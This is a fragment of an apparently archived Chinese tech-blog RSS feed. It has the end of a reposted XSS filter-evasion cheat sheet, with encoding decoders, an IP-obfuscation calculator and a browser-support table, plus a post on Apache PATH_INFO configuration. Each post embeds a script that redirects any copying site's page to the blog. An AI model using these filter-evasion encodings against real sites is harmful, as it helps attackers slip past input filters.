<p><strong>Decimal Value:</strong></p>
<ul> HTML (without semicolons):</p>
<input  class="textbox"name="unicode" size="60" type="text" />
<input onclick="convertToASCII()" type="button" value="Decode Dec to ASCII" /></ul>
<p><strong>Base64 Value</strong> (<a href="http://ostermiller.org/calc/encode.html">a more robust base64 calculator can be found here</a>)</p>
<ul> Base64:</p>
<input  class="textbox"name="base64" size="60" type="text" />
<input onclick="document.XSS.ascii.value=decodeBase64(document.XSS.base64.value);" type="button" value="Decode Base64" /></ul>
</form>
<div>
<h2><a name="ipobfuscate">IP Obfuscation Calculator</a></h2>
</div>
<form> <strong>IP Address:</strong></p>
<ul>
<input  class="textbox"name="ip" size="30" type="text" value="127.0.0.1" />
<input  class="textbox"name="level" size="1" type="text" value="0" /> : dword level</p>
<input onclick="convet(ip.value,level.value);" type="button" value="Encode" />
<input type="reset" value="Clear" /></ul>
<p><strong>Dword Address:</strong></p>
<ul>
<input  class="textbox"name="ipdword" size="30" type="text" /></ul>
<p><strong>Hex Address:</strong></p>
<ul>
<input  class="textbox"name="iphex" size="30" type="text" /></ul>
<p><strong>Octal Address:</strong></p>
<ul>
<input  class="textbox"name="ipoctal" size="30" type="text" /></ul>
</form>
<div>
<h2>Browser support reference table:</h2>
<table border="1" width="400">
<tbody>
<tr>
<td>IE7.0</td>
<td></td>
<td>Vector works in Internet Explorer 7.0.  Most recently tested with Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2.</td>
<td></td>
</tr>
<tr>
<td>IE6.0</td>
<td></td>
<td>Vector works in Internet Explorer.  Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000.</td>
<td></td>
</tr>
<tr>
<td>NS8.1-IE</td>
<td></td>
<td>Vector works in Netscape 8.1+ in IE rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional. This used to be called trusted mode, but Netscape has changed it's security model away from the trusted/untrusted model and has opted towards Gecko as a default and IE as an option.</td>
<td></td>
</tr>
<tr>
<td>NS8.1-G</td>
<td></td>
<td>Vector works in Netscape 8.1+ in the Gecko rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional</td>
<td></td>
</tr>
<tr>
<td>FF2.0</td>
<td></td>
<td>Vector works in Mozilla's Gecko rendering engine, used by Firefox. Most recently tested with Firefox 2.0.0.2 on Windows XP Professional.</td>
<td></td>
</tr>
<tr>
<td>O9.02</td>
<td></td>
<td>Vector works in Opera.  Most recently tested with Opera 9.02, Build 8586 on Windows XP Professional</td>
<td></td>
</tr>
<tr>
<td>NS4</td>
<td></td>
<td>Vector works in older versions of Netscape 4.0 - untested.</td>
<td></td>
</tr>
</tbody>
</table>
<p>Note: if a vector is not marked it either does not work or it is untested.</p></div>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=1132";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=1132" title="Permanent Link to XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=1132</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2008年12月9日  //  <a href="http://ihacklog.com/software/tips/firefox-plugin-autopager.html" title="firefox插件：浏览帖子必用利器之 AutoPager">firefox插件：浏览帖子必用利器之 AutoPager</a> (0)</li><li>2009年11月3日  //  <a href="http://ihacklog.com/linux/ubuntu-desktop/install-microsoft-yahei-font-for-ubuntu.html" title="UBUNTU安装微软雅黑">UBUNTU安装微软雅黑</a> (2)</li><li>2008年12月19日  //  <a href="http://ihacklog.com/memory/huangyewudeng.html" title="荒野无灯——叶延滨">荒野无灯——叶延滨</a> (0)</li><li>2011年01月6日  //  <a href="http://ihacklog.com/software/tips/zend-studio-8-0-key-assist.html" title="zend studio 8.0常用快捷键">zend studio 8.0常用快捷键</a> (2)</li><li>2010年06月8日  //  <a href="http://ihacklog.com/software/cool_software_share/visual-studio-2010-ultimate.html" title="VS2010中文旗舰版">VS2010中文旗舰版</a> (2)</li><li>2010年10月9日  //  <a href="http://ihacklog.com/software/tips/remove-ttplayer-ads.html" title="千千静听5.7 手动去广告">千千静听5.7 手动去广告</a> (8)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/security_optimization/xsscrosssitescriptingcheatsheetespforfilterevasion.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PATH_INFO的方式来实现搜索引擎友好</title>
		<link>http://ihacklog.com/security_optimization/path_infodefangshilaishixiansousuoyinqingyouhao.html</link>
		<comments>http://ihacklog.com/security_optimization/path_infodefangshilaishixiansousuoyinqingyouhao.html#comments</comments>
		<pubDate>Tue, 10 Feb 2009 02:39:18 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[安全优化]]></category>

		<guid isPermaLink="false">http://netgeek.cn/memory/?p=1019</guid>
		<description><![CDATA[摘自：http://sushener.spaces.live.com/blog/cns!BB54050A5CFAFCDD!438.entry 我习惯使用PATH_INFO的方式来实现搜索引擎友好，比如： http://www.xxx.com/index.php/module/xxx/action/xxx/id/xxx 但是index.php能看到扩展名很不爽，解决方法如下： 如何隐蔽应用：例如 .php，的扩展名： 在APACHE中这样配置： ForceType application/x-httpd-p...]]></description>
			<content:encoded><![CDATA[<p>摘自：http://sushener.spaces.live.com/blog/cns!BB54050A5CFAFCDD!438.entry<br />
我习惯使用PATH_INFO的方式来实现搜索引擎友好，比如：</p>
<p>http://www.xxx.com/index.php/module/xxx/action/xxx/id/xxx</p>
<p>但是index.php能看到扩展名很不爽，解决方法如下：</p>
<p>如何隐蔽应用：例如 .php，的扩展名：<br />
在APACHE中这样配置：<br />
<FilesMatch "^app_name$"><br />
    ForceType application/x-httpd-php<br />
</FilesMatch></p>
<p>如何更像静态页面：app_name/my/app.html<br />
解析的PATH_INFO参数的时候，把最后一个参数的最后5个字符“.html”截断即可。<br />
注意：APACHE2中缺省是不允许PATH_INFO的，需要设置 AcceptPathInfo on</p>
<p>http://www.xxx.com/index/module/xxx/action/xxx/id/xxx</p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=1019";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=1019" title="Permanent Link to PATH_INFO的方式来实现搜索引擎友好" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=1019</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2010年09月18日  //  <a href="http://ihacklog.com/linux/ubuntu-desktop/fix-adobe-reader-9-linux-bookmarks-tab-place.html" title="修正Adobe Reader 9 linux 版书签Bookmarks跑出左侧tab的情况">修正Adobe Reader 9 linux 版书签Bookmarks跑出左侧tab的情况</a> (3)</li><li>2011年10月18日  //  <a href="http://ihacklog.com/software/tips/android-wifi-connection-and-remote-control-setup.html" title="玩转Android之无线连网和远程控制">玩转Android之无线连网和远程控制</a> (1)</li><li>2009年08月14日  //  <a href="http://ihacklog.com/linux/ubuntu-desktop/ubuntuqiyong3dxiaoguohouchuxiancuowu.html" title="UBUNTU启用3d效果后出现错误">UBUNTU启用3d效果后出现错误</a> (1)</li><li>2009年12月6日  //  <a href="http://ihacklog.com/memory/hacklog/blogshow-a-blog-show-system-based-on-php.html" title="最近折腾blogshow">最近折腾blogshow</a> (8)</li><li>2011年11月29日  //  <a href="http://ihacklog.com/php/wordpress/plugins/generate-post-table-of-content-via-toc-for-wordpress-plugin.html" title="用TOC For Wordpress自动为文章生成目录">用TOC For Wordpress自动为文章生成目录</a> (6)</li><li>2008年12月31日  //  <a href="http://ihacklog.com/php/%e4%b8%bb%e6%9d%bf%e7%b3%bb%e5%88%97%e7%9f%a5%e8%af%86%ef%bc%9a%e4%b8%bb%e6%9d%bf%e7%bb%93%e6%9e%84.html" title="主板系列知识：主板结构">主板系列知识：主板结构</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/security_optimization/path_infodefangshilaishixiansousuoyinqingyouhao.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

